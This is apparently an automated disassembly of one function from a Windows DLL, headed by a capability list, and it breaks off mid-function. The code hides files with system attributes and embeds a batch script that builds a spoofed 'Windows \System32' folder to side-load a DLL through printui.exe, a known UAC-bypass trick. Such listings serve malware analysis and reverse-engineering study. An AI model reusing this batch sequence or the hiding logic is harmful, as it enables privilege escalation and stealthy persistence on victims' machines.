Function at 0x18004fb10
Capabilities:
Check if file exists
Get file attributes
Set file attributes

Disassembly:
mov qword [rsp + 0x18], rbx
push rsi
push rdi
push r12
push r14
push r15
sub rsp, 0x6a0
movaps xmmword [rsp + 0x690], xmm6
mov rax, qword [0x18021b280]
xor rax, rsp
mov qword [rsp + 0x680], rax
mov r14, rdx
mov r15, rcx
xor ebx, ebx
lea r12, [0x1801ff178]
mov qword [rsp + 0x90], r12
mov qword [rsp + 0x98], 5
mov rcx, rdx
cmp qword [rdx + 0x18], 7
jbe 0x18004fb6e
mov rcx, qword [rdx]
mov rax, qword [rdx + 0x10]
mov qword [rsp + 0x110], rcx
mov qword [rsp + 0x118], rax
movups xmm0, xmmword [rsp + 0x110]
movups xmmword [rsp + 0xd0], xmm0
movabs rdi, 0xc000000000000000
mov qword [rsp + 0xc0], rdi
mov rcx, r15
cmp qword [r15 + 0x18], 7
jbe 0x18004fbb1
mov rcx, qword [r15]
mov rax, qword [r15 + 0x10]
mov qword [rsp + 0x110], rcx
mov qword [rsp + 0x118], rax
movups xmm0, xmmword [rsp + 0x110]
movups xmmword [rsp + 0xe0], xmm0
movabs rsi, 0xc000000000000010
mov qword [rsp + 0xc8], rsi
mov qword [rsp + 0x110], 2
lea rax, [rsp + 0xc0]
mov qword [rsp + 0x118], rax
movaps xmm0, xmmword [rsp + 0x110]
movdqa xmmword [rsp + 0x110], xmm0
movaps xmm1, xmmword [rsp + 0x90]
movdqa xmmword [rsp + 0x90], xmm1
lea r8, [rsp + 0x110]
lea rdx, [rsp + 0x90]
lea rcx, [rsp + 0x130]
call fcn.18000a600
nop
mov qword [rsp + 0x90], r12
mov qword [rsp + 0x98], 5
mov rdx, r14
cmp qword [r14 + 0x18], 7
jbe 0x18004fc64
mov rdx, qword [r14]
mov rax, qword [r14 + 0x10]
mov qword [rsp + 0x110], rdx
mov qword [rsp + 0x118], rax
movups xmm0, xmmword [rsp + 0x110]
movups xmmword [rsp + 0xd0], xmm0
mov qword [rsp + 0xc0], rdi
lea rdx, [r14 + 0x20]
cmp qword [r14 + 0x38], 7
jbe 0x18004fc9f
mov rdx, qword [r14 + 0x20]
mov rax, qword [r14 + 0x30]
mov qword [rsp + 0x110], rdx
mov qword [rsp + 0x118], rax
movups xmm0, xmmword [rsp + 0x110]
movups xmmword [rsp + 0xe0], xmm0
mov qword [rsp + 0xc8], rsi
mov qword [rsp + 0x110], 2
lea rax, [rsp + 0xc0]
mov qword [rsp + 0x118], rax
movaps xmm0, xmmword [rsp + 0x110]
movdqa xmmword [rsp + 0x110], xmm0
movaps xmm1, xmmword [rsp + 0x90]
movdqa xmmword [rsp + 0x90], xmm1
lea r8, [rsp + 0x110]
lea rdx, [rsp + 0x90]
lea rcx, [rsp + 0x150]
call fcn.18000a600
nop
lea rcx, [rsp + 0xa0]
call fcn.180005670
mov rdx, rax
lea rax, str..dat
mov qword [rsp + 0x90], rax
mov qword [rsp + 0x98], 9
lea rcx, [rsp + 0x130]
cmp qword [rsp + 0x148], 7
cmova rcx, qword [rsp + 0x130]
mov qword [rsp + 0x110], rcx
mov rax, qword [rsp + 0x140]
mov qword [rsp + 0x118], rax
movups xmm0, xmmword [rsp + 0x110]
movups xmmword [rsp + 0xd0], xmm0
mov qword [rsp + 0xc0], rdi
mov rcx, rdx
cmp qword [rdx + 0x18], 7
jbe 0x18004fda9
mov rcx, qword [rdx]
mov rax, qword [rdx + 0x10]
mov qword [rsp + 0x110], rcx
mov qword [rsp + 0x118], rax
movups xmm0, xmmword [rsp + 0x110]
movups xmmword [rsp + 0xe0], xmm0
mov qword [rsp + 0xc8], rsi
mov qword [rsp + 0x110], 2
lea rax, [rsp + 0xc0]
mov qword [rsp + 0x118], rax
movaps xmm0, xmmword [rsp + 0x110]
movdqa xmmword [rsp + 0x110], xmm0
movaps xmm1, xmmword [rsp + 0x90]
movdqa xmmword [rsp + 0x90], xmm1
lea r8, [rsp + 0x110]
lea rdx, [rsp + 0x90]
lea rcx, [rsp + 0x190]
call fcn.18000a600
nop
mov rdx, qword [rsp + 0xb8]
cmp rdx, 7
jbe 0x18004fe79
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0xa0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x18004fe74
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1800517e1
call fcn.18008ab40
movdqa xmm6, xmmword [0x1802007f0]
movdqu xmmword [rsp + 0xb0], xmm6
mov word [rsp + 0xa0], bx
lea rcx, [rsp + 0x170]
call fcn.180005670
mov rdx, rax
lea rax, str..bat
mov qword [rsp + 0x90], rax
mov qword [rsp + 0x98], 9
lea rcx, [rsp + 0x130]
cmp qword [rsp + 0x148], 7
cmova rcx, qword [rsp + 0x130]
mov qword [rsp + 0x110], rcx
mov rax, qword [rsp + 0x140]
mov qword [rsp + 0x118], rax
movups xmm0, xmmword [rsp + 0x110]
movups xmmword [rsp + 0xd0], xmm0
mov qword [rsp + 0xc0], rdi
mov rcx, rdx
cmp qword [rdx + 0x18], 7
jbe 0x18004ff14
mov rcx, qword [rdx]
mov rax, qword [rdx + 0x10]
mov qword [rsp + 0x110], rcx
mov qword [rsp + 0x118], rax
movups xmm0, xmmword [rsp + 0x110]
movups xmmword [rsp + 0xe0], xmm0
mov qword [rsp + 0xc8], rsi
mov qword [rsp + 0x110], 2
lea rax, [rsp + 0xc0]
mov qword [rsp + 0x118], rax
movaps xmm0, xmmword [rsp + 0x110]
movdqa xmmword [rsp + 0x110], xmm0
movaps xmm1, xmmword [rsp + 0x90]
movdqa xmmword [rsp + 0x90], xmm1
lea r8, [rsp + 0x110]
lea rdx, [rsp + 0x90]
lea rcx, [rsp + 0x1b0]
call fcn.18000a600
nop
mov rdx, qword [rsp + 0x188]
cmp rdx, 7
jbe 0x18004ffe4
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x170]
mov rax, rcx
cmp rdx, 0x1000
jb 0x18004ffdf
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1800517e7
call fcn.18008ab40
movdqu xmmword [rsp + 0x180], xmm6
mov word [rsp + 0x170], bx
lea rcx, [rsp + 0xa0]
call fcn.180005670
mov rdx, rax
lea rax, str..vbs
mov qword [rsp + 0x90], rax
mov qword [rsp + 0x98], 9
lea rcx, [rsp + 0x130]
cmp qword [rsp + 0x148], 7
cmova rcx, qword [rsp + 0x130]
mov qword [rsp + 0x110], rcx
mov rax, qword [rsp + 0x140]
mov qword [rsp + 0x118], rax
movups xmm0, xmmword [rsp + 0x110]
movups xmmword [rsp + 0xd0], xmm0
mov qword [rsp + 0xc0], rdi
mov rcx, rdx
cmp qword [rdx + 0x18], 7
jbe 0x180050077
mov rcx, qword [rdx]
mov rax, qword [rdx + 0x10]
mov qword [rsp + 0x110], rcx
mov qword [rsp + 0x118], rax
movups xmm0, xmmword [rsp + 0x110]
movups xmmword [rsp + 0xe0], xmm0
mov qword [rsp + 0xc8], rsi
mov qword [rsp + 0x110], 2
lea rax, [rsp + 0xc0]
mov qword [rsp + 0x118], rax
movaps xmm0, xmmword [rsp + 0x110]
movdqa xmmword [rsp + 0x110], xmm0
movaps xmm1, xmmword [rsp + 0x90]
movdqa xmmword [rsp + 0x90], xmm1
lea r8, [rsp + 0x110]
lea rdx, [rsp + 0x90]
lea rcx, [rsp + 0x230]
call fcn.18000a600
nop
mov rdx, qword [rsp + 0xb8]
cmp rdx, 7
jbe 0x180050147
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0xa0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x180050142
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1800517ed
call fcn.18008ab40
movdqu xmmword [rsp + 0xb0], xmm6
mov word [rsp + 0xa0], bx
mov qword [rsp + 0x90], r12
mov qword [rsp + 0x98], 5
lea rax, [rsp + 0x130]
cmp qword [rsp + 0x148], 7
cmova rax, qword [rsp + 0x130]
mov qword [rsp + 0x110], rax
mov rax, qword [rsp + 0x140]
mov qword [rsp + 0x118], rax
movups xmm0, xmmword [rsp + 0x110]
movups xmmword [rsp + 0xd0], xmm0
mov qword [rsp + 0xc0], rdi
lea rdx, [r15 + 0x20]
cmp qword [r15 + 0x38], 7
jbe 0x1800501c5
mov rdx, qword [r15 + 0x20]
mov rax, qword [r15 + 0x30]
mov qword [rsp + 0x110], rdx
mov qword [rsp + 0x118], rax
movups xmm0, xmmword [rsp + 0x110]
movups xmmword [rsp + 0xe0], xmm0
mov qword [rsp + 0xc8], rsi
mov qword [rsp + 0x110], 2
lea rax, [rsp + 0xc0]
mov qword [rsp + 0x118], rax
movaps xmm0, xmmword [rsp + 0x110]
movdqa xmmword [rsp + 0x110], xmm0
movaps xmm1, xmmword [rsp + 0x90]
movdqa xmmword [rsp + 0x90], xmm1
lea r8, [rsp + 0x110]
lea rdx, [rsp + 0x90]
lea rcx, [rsp + 0x250]
call fcn.18000a600
nop
lea rax, str..lnk
mov qword [rsp + 0x90], rax
mov qword [rsp + 0x98], 9
mov rdx, r14
cmp qword [r14 + 0x18], 7
jbe 0x180050275
mov rdx, qword [r14]
mov rax, qword [r14 + 0x10]
mov qword [rsp + 0x110], rdx
mov qword [rsp + 0x118], rax
movups xmm0, xmmword [rsp + 0x110]
movups xmmword [rsp + 0xd0], xmm0
mov qword [rsp + 0xc0], rdi
lea rdx, [r14 + 0x20]
cmp qword [r14 + 0x38], 7
jbe 0x1800502b0
mov rdx, qword [r14 + 0x20]
mov rax, qword [r14 + 0x30]
mov qword [rsp + 0x110], rdx
mov qword [rsp + 0x118], rax
movups xmm0, xmmword [rsp + 0x110]
movups xmmword [rsp + 0xe0], xmm0
mov qword [rsp + 0xc8], rsi
mov qword [rsp + 0x110], 2
lea rax, [rsp + 0xc0]
mov qword [rsp + 0x118], rax
movaps xmm0, xmmword [rsp + 0x110]
movdqa xmmword [rsp + 0x110], xmm0
movaps xmm1, xmmword [rsp + 0x90]
movdqa xmmword [rsp + 0x90], xmm1
lea r8, [rsp + 0x110]
lea rdx, [rsp + 0x90]
lea rcx, [rsp + 0x1d0]
call fcn.18000a600
nop
lea rdx, [r15 + 0x60]
mov r8, qword [rdx + 0x10]
cmp qword [rdx + 0x18], 7
jbe 0x18005034a
mov rdx, qword [rdx]
xorps xmm0, xmm0
movups xmmword [rsp + 0xa0], xmm0
mov qword [rsp + 0xb0], rbx
mov qword [rsp + 0xb8], rbx
lea rcx, [rsp + 0xa0]
call fcn.180008f40
nop
mov r8d, 3
lea rdx, [rsp + 0xa0]
lea rcx, [rsp + 0x110]
call fcn.180024ae0
movsd xmm0, qword [rax]
movsd qword [rsp + 0x90], xmm0
mov ecx, dword [rax + 8]
mov dword [rsp + 0x110], ecx
lea r12, [0x18021c290]
mov qword [rsp + 0x118], r12
movaps xmm0, xmmword [rsp + 0x110]
movdqa xmmword [rsp + 0x110], xmm0
mov eax, dword [rsp + 0x90]
test eax, eax
je 0x18005041c
cmp eax, 1
sete dil
mov rdx, qword [rsp + 0xb8]
cmp rdx, 7
jbe 0x18005042e
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0xa0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x180050429
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1800517f3
jmp 0x180050429
mov dil, 1
test ecx, ecx
jne 0x1800517f9
jmp 0x1800503d7
call fcn.18008ab40
test dil, dil
je 0x1800506eb
mov eax, ebx
xchg byte [r15 + 0xb0], al
mov rdx, qword [rsp + 0x1e8]
cmp rdx, 7
jbe 0x180050488
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x1d0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x180050483
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x180051816
call fcn.18008ab40
mov qword [rsp + 0x1e0], rbx
mov qword [rsp + 0x1e8], 7
mov word [rsp + 0x1d0], bx
mov rdx, qword [rsp + 0x268]
cmp rdx, 7
jbe 0x1800504ec
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x250]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1800504e7
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x18005181c
call fcn.18008ab40
movdqu xmmword [rsp + 0x260], xmm6
mov word [rsp + 0x250], bx
mov rdx, qword [rsp + 0x248]
cmp rdx, 7
jbe 0x180050545
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x230]
mov rax, rcx
cmp rdx, 0x1000
jb 0x180050540
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x180051822
call fcn.18008ab40
movdqu xmmword [rsp + 0x240], xmm6
mov word [rsp + 0x230], bx
mov rdx, qword [rsp + 0x1c8]
cmp rdx, 7
jbe 0x18005059e
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x1b0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x180050599
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x180051828
call fcn.18008ab40
mov qword [rsp + 0x1c0], rbx
mov qword [rsp + 0x1c8], 7
mov word [rsp + 0x1b0], bx
mov rdx, qword [rsp + 0x1a8]
cmp rdx, 7
jbe 0x180050602
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x190]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1800505fd
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x18005182e
call fcn.18008ab40
mov qword [rsp + 0x1a0], rbx
mov qword [rsp + 0x1a8], 7
mov word [rsp + 0x190], bx
mov rdx, qword [rsp + 0x168]
cmp rdx, 7
jbe 0x180050666
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x150]
mov rax, rcx
cmp rdx, 0x1000
jb 0x180050661
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x180051834
call fcn.18008ab40
mov qword [rsp + 0x160], rbx
mov qword [rsp + 0x168], 7
mov word [rsp + 0x150], bx
mov rdx, qword [rsp + 0x148]
cmp rdx, 7
jbe 0x1800506ca
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x130]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1800506c5
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x18005183a
call fcn.18008ab40
mov qword [rsp + 0x140], rbx
mov qword [rsp + 0x148], 7
mov word [rsp + 0x130], bx
jmp 0x1800517b1
lea rdx, [rsp + 0x190]
cmp qword [rsp + 0x1a8], 7
cmova rdx, qword [rsp + 0x190]
xorps xmm0, xmm0
movups xmmword [rsp + 0x210], xmm0
mov qword [rsp + 0x220], rbx
mov qword [rsp + 0x228], rbx
mov r8, qword [rsp + 0x1a0]
lea rcx, [rsp + 0x210]
call fcn.180008f40
nop
lea rdx, [rsp + 0x1b0]
cmp qword [rsp + 0x1c8], 7
cmova rdx, qword [rsp + 0x1b0]
xorps xmm0, xmm0
movups xmmword [rsp + 0x1f0], xmm0
mov qword [rsp + 0x200], rbx
mov qword [rsp + 0x208], rbx
mov r8, qword [rsp + 0x1c0]
lea rcx, [rsp + 0x1f0]
call fcn.180008f40
nop
lea rcx, [rsp + 0x210]
cmp qword [rsp + 0x228], 7
cmova rcx, qword [rsp + 0x210]
mov rax, qword [rsp + 0x220]
lea rsi, [rcx + rax*2]
mov rdi, rsi
mov rdx, rsi
call fcn.1800232a0
cmp rax, rsi
je 0x1800507fb
movzx ecx, word [rax]
cmp cx, 0x5c
je 0x1800507c6
cmp cx, 0x2f
jne 0x1800507cf
add rax, 2
cmp rax, rsi
jne 0x1800507b7
cmp rax, rsi
je 0x1800507fb
nop dword [rax]
nop dword [rax + rax]
lea rdx, [rdi - 2]
movzx ecx, word [rdx]
cmp cx, 0x5c
je 0x1800507fb
cmp cx, 0x2f
je 0x1800507fb
mov rdi, rdx
cmp rax, rdx
jne 0x1800507e0
sub rsi, rdi
sar rsi, 1
xorps xmm0, xmm0
movups xmmword [rsp + 0xa0], xmm0
mov qword [rsp + 0xb0], rbx
mov qword [rsp + 0xb8], rbx
mov r8, rsi
mov rdx, rdi
lea rcx, [rsp + 0xa0]
call fcn.180008f40
nop
lea rdx, [rsp + 0xa0]
lea rcx, [rsp + 0x2d0]
call fcn.1800064f0
nop
mov rdx, qword [rsp + 0xb8]
cmp rdx, 7
jbe 0x18005088e
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0xa0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x180050889
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x180051840
call fcn.18008ab40
lea rcx, [rsp + 0x1f0]
cmp qword [rsp + 0x208], 7
cmova rcx, qword [rsp + 0x1f0]
mov rax, qword [rsp + 0x200]
lea rsi, [rcx + rax*2]
mov rdi, rsi
mov rdx, rsi
call fcn.1800232a0
cmp rax, rsi
je 0x1800508fc
movzx ecx, word [rax]
cmp cx, 0x5c
je 0x1800508d3
cmp cx, 0x2f
jne 0x1800508dc
add rax, 2
cmp rax, rsi
jne 0x1800508c4
cmp rax, rsi
je 0x1800508fc
lea rdx, [rdi - 2]
movzx ecx, word [rdx]
cmp cx, 0x5c
je 0x1800508fc
cmp cx, 0x2f
je 0x1800508fc
mov rdi, rdx
cmp rax, rdx
jne 0x1800508e1
sub rsi, rdi
sar rsi, 1
xorps xmm0, xmm0
movups xmmword [rsp + 0xa0], xmm0
mov qword [rsp + 0xb0], rbx
mov qword [rsp + 0xb8], rbx
mov r8, rsi
mov rdx, rdi
lea rcx, [rsp + 0xa0]
call fcn.180008f40
nop
lea rdx, [rsp + 0xa0]
lea rcx, [rsp + 0x330]
call fcn.1800064f0
nop
mov rdx, qword [rsp + 0xb8]
cmp rdx, 7
jbe 0x18005098f
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0xa0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x18005098a
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x180051846
call fcn.18008ab40
lea rdx, [rsp + 0x130]
cmp qword [rsp + 0x148], 7
cmova rdx, qword [rsp + 0x130]
xorps xmm0, xmm0
movups xmmword [rsp + 0xa0], xmm0
mov qword [rsp + 0xb0], rbx
mov qword [rsp + 0xb8], rbx
mov r8, qword [rsp + 0x140]
lea rcx, [rsp + 0xa0]
call fcn.180008f40
nop
mov r8d, 3
lea rdx, [rsp + 0xa0]
lea rcx, [rsp + 0x110]
call fcn.180024ae0
movsd xmm0, qword [rax]
movsd qword [rsp + 0x90], xmm0
mov ecx, dword [rax + 8]
mov dword [rsp + 0x110], ecx
mov qword [rsp + 0x118], r12
movaps xmm0, xmmword [rsp + 0x110]
movdqa xmmword [rsp + 0x110], xmm0
mov eax, dword [rsp + 0x90]
test eax, eax
je 0x180050a7c
cmp eax, 1
setne dil
mov rdx, qword [rsp + 0xb8]
cmp rdx, 7
jbe 0x180050a8e
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0xa0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x180050a89
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x18005184c
jmp 0x180050a89
xor dil, dil
test ecx, ecx
jne 0x180051852
jmp 0x180050a37
call fcn.18008ab40
test dil, dil
je 0x180050ac4
lea rdx, [rsp + 0x130]
lea rcx, [rsp + 0xa0]
call fcn.180028e10
nop
lea rcx, [rsp + 0xa0]
call fcn.18004e8e0
nop
lea rcx, [rsp + 0xa0]
call fcn.180006480
lea rdx, [rsp + 0x1d0]
cmp qword [rsp + 0x1e8], 7
cmova rdx, qword [rsp + 0x1d0]
xorps xmm0, xmm0
movups xmmword [rsp + 0xa0], xmm0
mov qword [rsp + 0xb0], rbx
mov qword [rsp + 0xb8], rbx
mov r8, qword [rsp + 0x1e0]
lea rcx, [rsp + 0xa0]
call fcn.180008f40
nop
mov r8d, 3
lea rdx, [rsp + 0xa0]
lea rcx, [rsp + 0x110]
call fcn.180024ae0
movsd xmm0, qword [rax]
movsd qword [rsp + 0x90], xmm0
mov ecx, dword [rax + 8]
mov dword [rsp + 0x110], ecx
mov qword [rsp + 0x118], r12
movaps xmm0, xmmword [rsp + 0x110]
movdqa xmmword [rsp + 0x110], xmm0
mov eax, dword [rsp + 0x90]
test eax, eax
je 0x180050bb1
cmp eax, 1
setne dil
mov rdx, qword [rsp + 0xb8]
cmp rdx, 7
jbe 0x180050bc3
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0xa0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x180050bbe
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x18005186f
jmp 0x180050bbe
xor dil, dil
test ecx, ecx
jne 0x180051875
jmp 0x180050b6c
call fcn.18008ab40
test dil, dil
je 0x180050bf9
lea rdx, [rsp + 0x1d0]
lea rcx, [rsp + 0xa0]
call fcn.180028e10
nop
lea rcx, [rsp + 0xa0]
call fcn.180044980
nop
lea rcx, [rsp + 0xa0]
call fcn.180006480
lea rdx, [rsp + 0x130]
cmp qword [rsp + 0x148], 7
cmova rdx, qword [rsp + 0x130]
xorps xmm0, xmm0
movups xmmword [rsp + 0x110], xmm0
mov qword [rsp + 0x120], rbx
mov qword [rsp + 0x128], rbx
mov r8, qword [rsp + 0x140]
lea rcx, [rsp + 0x110]
call fcn.180008f40
nop
lea rcx, [rsp + 0x110]
cmp qword [rsp + 0x128], 7
cmova rcx, qword [rsp + 0x110]
call fcn.1800891a4
mov rdx, rax
shr rax, 0x20
test eax, eax
jne 0x180051892
mov rdx, qword [rsp + 0x128]
cmp rdx, 7
jbe 0x180050cba
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x110]
mov rax, rcx
cmp rdx, 0x1000
jb 0x180050cb5
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1800518ab
call fcn.18008ab40
lea rdx, [rsp + 0x150]
cmp qword [rsp + 0x168], 7
cmova rdx, qword [rsp + 0x150]
xorps xmm0, xmm0
movups xmmword [rsp + 0xa0], xmm0
mov qword [rsp + 0xb0], rbx
mov qword [rsp + 0xb8], rbx
mov r8, qword [rsp + 0x160]
lea rcx, [rsp + 0xa0]
call fcn.180008f40
nop
mov r8d, 3
lea rdx, [rsp + 0xa0]
lea rcx, [rsp + 0x110]
call fcn.180024ae0
movsd xmm0, qword [rax]
movsd qword [rsp + 0x90], xmm0
mov ecx, dword [rax + 8]
mov dword [rsp + 0x110], ecx
mov qword [rsp + 0x118], r12
movaps xmm0, xmmword [rsp + 0x110]
movdqa xmmword [rsp + 0x110], xmm0
mov eax, dword [rsp + 0x90]
test eax, eax
je 0x180050da7
cmp eax, 1
sete dil
mov rdx, qword [rsp + 0xb8]
cmp rdx, 7
jbe 0x180050db9
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0xa0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x180050db4
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1800518b1
jmp 0x180050db4
mov dil, 1
test ecx, ecx
jne 0x1800518b7
jmp 0x180050d62
call fcn.18008ab40
test dil, dil
je 0x180050def
lea rdx, [rsp + 0x150]
lea rcx, [rsp + 0xa0]
call fcn.180028e10
nop
lea rcx, [rsp + 0xa0]
call fcn.1800449d0
nop
lea rcx, [rsp + 0xa0]
call fcn.180006480
lea rcx, [rsp + 0x150]
cmp qword [rsp + 0x168], 7
cmova rcx, qword [rsp + 0x150]
call qword [sym.imp.KERNEL32.dll_GetFileAttributesW]
cmp eax, 0xffffffff
je 0x180050e3d
test al, 4
jne 0x180050e3d
lea rcx, [rsp + 0x150]
cmp qword [rsp + 0x168], 7
cmova rcx, qword [rsp + 0x150]
mov edx, 6
call qword [sym.imp.KERNEL32.dll_SetFileAttributesW]
lea rcx, [rsp + 0x130]
cmp qword [rsp + 0x148], 7
cmova rcx, qword [rsp + 0x130]
call qword [sym.imp.KERNEL32.dll_GetFileAttributesW]
cmp eax, 0xffffffff
je 0x180050e8b
test al, 4
jne 0x180050e8b
lea rcx, [rsp + 0x130]
cmp qword [rsp + 0x148], 7
cmova rcx, qword [rsp + 0x130]
mov edx, 6
call qword [sym.imp.KERNEL32.dll_SetFileAttributesW]
lea rdx, [rsp + 0x190]
cmp qword [rsp + 0x1a8], 7
cmova rdx, qword [rsp + 0x190]
xorps xmm0, xmm0
movups xmmword [rsp + 0xa0], xmm0
mov qword [rsp + 0xb0], rbx
mov qword [rsp + 0xb8], rbx
mov r8, qword [rsp + 0x1a0]
lea rcx, [rsp + 0xa0]
call fcn.180008f40
nop
lea rdx, [r15 + 0x60]
mov r8, qword [rdx + 0x10]
cmp qword [rdx + 0x18], 7
jbe 0x180050ee8
mov rdx, qword [rdx]
xorps xmm0, xmm0
movups xmmword [rsp + 0x110], xmm0
mov qword [rsp + 0x120], rbx
mov qword [rsp + 0x128], rbx
lea rcx, [rsp + 0x110]
call fcn.180008f40
nop
lea rdx, [rsp + 0xa0]
cmp qword [rsp + 0xb8], 7
cmova rdx, qword [rsp + 0xa0]
lea rcx, [rsp + 0x110]
cmp qword [rsp + 0x128], 7
cmova rcx, qword [rsp + 0x110]
xor r8d, r8d
call fcn.180088eec
mov rdx, rax
shr rax, 0x20
test eax, eax
jne 0x1800518d4
mov rdx, qword [rsp + 0x128]
cmp rdx, 7
jbe 0x180050fa4
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x110]
mov rax, rcx
cmp rdx, 0x1000
jb 0x180050f9f
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1800518f5
call fcn.18008ab40
movdqu xmmword [rsp + 0x120], xmm6
mov word [rsp + 0x110], bx
mov rdx, qword [rsp + 0xb8]
cmp rdx, 7
jbe 0x180050ffd
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0xa0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x180050ff8
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1800518fb
call fcn.18008ab40
xorps xmm0, xmm0
movups xmmword [rsp + 0x170], xmm0
xorps xmm1, xmm1
movdqu xmmword [rsp + 0x180], xmm1
mov r8d, reloc.LIBPQ.dll_Ordinal_14
lea rdx, str._SystemDrive__
lea rcx, [rsp + 0x170]
call fcn.180008f40
nop
lea rdx, [rsp + 0x150]
cmp qword [rsp + 0x168], 7
cmova rdx, qword [rsp + 0x150]
xorps xmm0, xmm0
movups xmmword [rsp + 0xf0], xmm0
mov qword [rsp + 0x100], rbx
mov qword [rsp + 0x108], rbx
mov r8, qword [rsp + 0x160]
lea rcx, [rsp + 0xf0]
call fcn.180008f40
nop
lea rcx, [rsp + 0xf0]
cmp qword [rsp + 0x108], 7
cmova rcx, qword [rsp + 0xf0]
mov rax, qword [rsp + 0x100]
lea rsi, [rcx + rax*2]
mov rdi, rsi
mov rdx, rsi
call fcn.1800232a0
cmp rax, rsi
je 0x1800510eb
movzx ecx, word [rax]
cmp cx, 0x5c
je 0x1800510bf
cmp cx, 0x2f
jne 0x1800510c8
add rax, 2
cmp rax, rsi
jne 0x1800510b0
cmp rax, rsi
je 0x1800510eb
nop dword [rax]
lea rdx, [rdi - 2]
movzx ecx, word [rdx]
cmp cx, 0x5c
je 0x1800510eb
cmp cx, 0x2f
je 0x1800510eb
mov rdi, rdx
cmp rax, rdx
jne 0x1800510d0
sub rsi, rdi
sar rsi, 1
xorps xmm0, xmm0
movups xmmword [rsp + 0xa0], xmm0
mov qword [rsp + 0xb0], rbx
mov qword [rsp + 0xb8], rbx
mov r8, rsi
mov rdx, rdi
lea rcx, [rsp + 0xa0]
call fcn.180008f40
nop
lea rdx, [rsp + 0xc0]
lea rcx, [rsp + 0xa0]
call fcn.18002adc0
nop
lea rcx, str._echo_off_r_nchcp_65001_r_nexplorer__..__r_nif_not_exist__Windows_System32printui.dll____r_n_tif_exist__Windows_System32__rmdir__S__Q___Windows___r_n_tmkdir___Windows_System32__r_n_txcopy__WindowsSystem32printui.exe___Windows_System32___Y_r_n_txcopy_____Windows_System32___Y_r_n_tren__Windows_System32___printui.dll__r_n_tif_exist__Windows_System32printui.exe____r_n_t_tif_exist__Windows_System32printui.dll____r_n_t_t_tstart_____Windows_System32printui.exe__r_n_t_t__else_rmdir__S__Q___Windows___r_n_t__else_rmdir__S__Q___Windows___r_n_
mov qword [rsp + 0x110], rcx
mov qword [rsp + 0x118], 0x22c
